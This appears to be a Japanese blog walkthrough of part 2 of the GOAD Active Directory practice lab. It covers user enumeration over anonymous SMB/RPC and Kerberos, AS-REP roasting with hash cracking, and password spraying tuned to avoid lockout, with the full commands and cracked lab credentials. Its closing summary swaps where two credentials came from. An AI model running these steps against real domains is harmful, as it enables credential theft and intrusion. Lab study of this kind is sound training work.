banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

アクティブディレクトリのゲーム(GOAD)パート2 ユーザーを検索

game-of-active-directoryGOAD-part-1でいくつかの一般的な設定とポート情報の収集を行った後、第二部の内容を学び、ユーザー情報の収集を行い、いくつかの資格情報を収集してみます。

image

vagrant upでスリープ中のマシンを起動

CME 列挙#

DC02:192.168.56.11

cme smb 192.168.56.11 --users

image

Samwell Tarly ユーザーには、Password : Heartsbane というヒントがあります。

ドメインパスワードポリシーを取得

crackmapexec smb 192.168.56.11 --pass-pol

image

パスワードポリシーを確認すると、5 分以内に 5 回ログインに失敗すると、5 分間ロックされます。

enum4linux 列挙#

enum4linux 192.168.56.11

enum4linux も cme と同様に、ユーザー情報を列挙できます。

image

パスワードポリシー

image

ドメイングループのメンバーも列挙できます。

image

rpc 呼び出し#

image

匿名リストは、winterfell というデバイス(IP アドレスは 192.168.56.11)上でリモートプロシージャコールを実行することで実現されます。同様に、rpcclient ツールを使用して直接この操作を行うこともできます。

$ rpcclient -U "NORTH\\" 192.168.56.11 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x456]
user:[sansa.stark] rid:[0x45a]
user:[brandon.stark] rid:[0x45b]
user:[rickon.stark] rid:[0x45c]
user:[hodor] rid:[0x45d]
user:[jon.snow] rid:[0x45e]
user:[samwell.tarly] rid:[0x45f]
user:[jeor.mormont] rid:[0x460]
user:[sql_svc] rid:[0x461]
rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44f]
group:[Stark] rid:[0x452]
group:[Night Watch] rid:[0x453]
group:[Mormont] rid:[0x454]
rpcclient $> 

すべてのドメインユーザーを取得

# NORTHドメインのDomain Usersグループのメンバーをリストし、IPアドレス192.168.56.11に接続し、匿名ユーザーとしてログインします。
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'

image

匿名セッションが許可されていない場合、DC の匿名セッションを列挙#

Winterfell ドメインコントローラーは匿名接続を許可しており、これがドメインユーザーとグループを列挙できる理由です。しかし、今日ではこのような構成はほとんど見られません。(逆に、ユーザーの説明にパスワードが含まれているケースは非常に一般的です。)

我々は依然としてブルートフォース列挙を通じて有効なユーザーを列挙できます。

1、辞書を作成

HBO からダウンロードしたものです。

# 現在このコマンドはダウンロードできません
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt

以下の辞書が得られます。

robert.baratheon
tyrion.lannister
cersei.lannister
catelyn.stark
jaime.lannister
daenerys.targaryen
viserys.targaryen
jon.snow
robb.stark
sansa.stark
arya.stark
bran.stark
rickon.stark
joffrey.baratheon
jorah.mormont
theon.greyjoy
samwell.tarly
renly.baratheon
ros
jeor.mormont
gendry
lysa.arryn
robin.arryn
bronn
grand.maester
varys
loras.tyrell
shae
benjen.stark
barristan.selmy
khal.drogo
hodor
lancel.lannister
maester.luwin
alliser.thorne
osha
maester.aemon
talisa.stark
brienne.of
davos.seaworth
tywin.lannister
stannis.baratheon
margaery.tyrell
ygritte
balon.greyjoy
roose.bolton
gilly
podrick.payne
melisandre
yara.greyjoy
jaqen.h’ghar
grey.worm
beric.dondarrion
missandei
mance.rayder
tormund
ramsay.snow
olenna.tyrell
thoros.of
orell
qyburn
brynden.tully
tommen.baratheon
daario.naharis
oberyn.martell
myrcella.baratheon
obara.sand
nym.sand
tyene.sand
high.sparrow
trystane.martell
doran.martell
euron.greyjoy
lady.crane
high.priestess
randyll.tarly
izembaro
brother.ray
archmaester.ebrose

このユーザー辞書を使用して、meereen.essos.localドメインコントローラーとkingslanding.sevenkingdoms.localで試してみましょう。

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10

image

sevenkingdoms.local で 7 人の有効なユーザーが得られました。

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.12

image

essos.local で 5 人の有効なユーザーが見つかりました。

nmapのページでは、さまざまな可能性のあるユーザー名を試して有効なユーザー名を特定し、Kerberos サービスにクエリを実行します。要求されたユーザー名が存在しない場合、サーバーは Kerberos エラーコードKRB5KDC_ERR_C_PRINCIPAL_UNKNOWNを返し、そのユーザー名が無効であることがわかります。ユーザー名が有効な場合、サーバーは AS-REP 応答を通じて TGT を送信するか、エラーKRB5KDC_ERR_PREAUTH_REQUIREDを返し、ユーザーが事前認証を必要とすることを示します。

全体として、ユーザーパスワードをブルートフォース攻撃する際、badpwdcount の数値は上昇しません(crackmapexec で badpwdcount の数値は見えません)。

image

smb 共有#

smb 共有を確認します。

image

匿名共有を探します。

cme smb 192.168.56.10-23 -u 'a' -p '' --shares

image

読み取りおよび書き込み操作が可能な匿名共有リソースがいくつか見つかりました。

現在ユーザーはいますが、資格情報はありません#

現在、ユーザーリストを持っているので、次のステップは彼らのパスワードを取得しようとすることです。

image

ASREP - ロースティング#

以前に見つけたユーザー名を含む users.txt ファイルを作成しました。

sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator

今、impacket ツールを使用してすべてのユーザーに AS-REP 攻撃を実行してみます。

GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt

image

brandon.stark アカウントのアクセス権を取得しました。ユーザーが Kerberos 事前認証メカニズムを有効にしていないため、これを解読してみます。

hashcat -m 18200 hashs.txt rockyou.txt

image

現在、2 つのアカウントのパスワードが得られました。

brandon.stark:iseedeadpeople
Samwell Tarly:Heartsbane

パスワードスプレー#

従来のユーザー名とパスワードの検証テストを行うことができます。

crackmapexec smb 192.168.56.11 -u user.txt -p user.txt --no-bruteforce

image

sprayhoundを使用できます。

sprayhound をインストールします。

sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev
git clone https://github.com/Hackndo/sprayhound.git
cd sprayhound
python3 setup.py install
sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower

image

有効なユーザーの身分を使用して、アカウントロックの問題を回避することを試みることができます(-t オプションを使用して残りの試行回数を設定します)。

sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -t 2

現在、次の 3 組の資格情報が得られました。

  • brandon.stark(ユーザー説明から取得)
  • Samwell Tarly(asreproasting から取得)
  • hodor(パスワードスプレーから取得)

この章は終了です。vagrant suspendを使用して仮想マシンを一時停止します。仮想環境の/GOAD/ad/GOAD/providers/virtualboxで vagrant を実行する必要があります。

image

image

参考:
https://mayfly277.github.io/posts/GOADv2-pwning-part2/
カバー画像は:https://wallhaven.cc/w/3lj6z9

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。